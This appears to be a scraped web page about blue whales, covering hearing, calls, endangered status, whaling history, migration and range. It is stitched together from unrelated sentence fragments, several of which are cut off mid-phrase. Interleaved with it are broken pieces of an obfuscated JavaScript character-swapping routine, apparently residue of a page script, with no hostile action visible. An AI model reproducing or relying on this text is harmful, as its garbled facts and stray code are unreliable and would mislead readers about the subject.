Whales have a very acute sense of hearing and can detect sounds made by other whales from miles away, which can be important for mating or locating other whales in a pod. "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + Blue whales are an endangered species recognized by the International Union for the Conservation of Nature (IUCN) Red List and the U.S. they don't all compete directly with each other and so are able Commercial whaling of this species peaked in 1931, and in 1966 the International Whaling Commission declared them a protected species worldwide. There are three true whale subspecies of Balaenoptera musculus. To produce calls to other whales, they push air through specialized air sacs near their blowholes. 100 Aquarium Way, During migration periods, the blue whale will go without food for up to four months while they migrate and live primarily off of the body fat and calories stored within its blubber. They live in all of the worlds oceans except the Arctic, cruising their way through the water at an average speed of five miles per hour. Blue Whale - Description, Habitat, Image, Diet, and Interesting The Foundation is a leading voice for U.S. protected waters, working with communities to conserve and expand those special places for a healthy ocean, coasts, and Great Lakes. var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i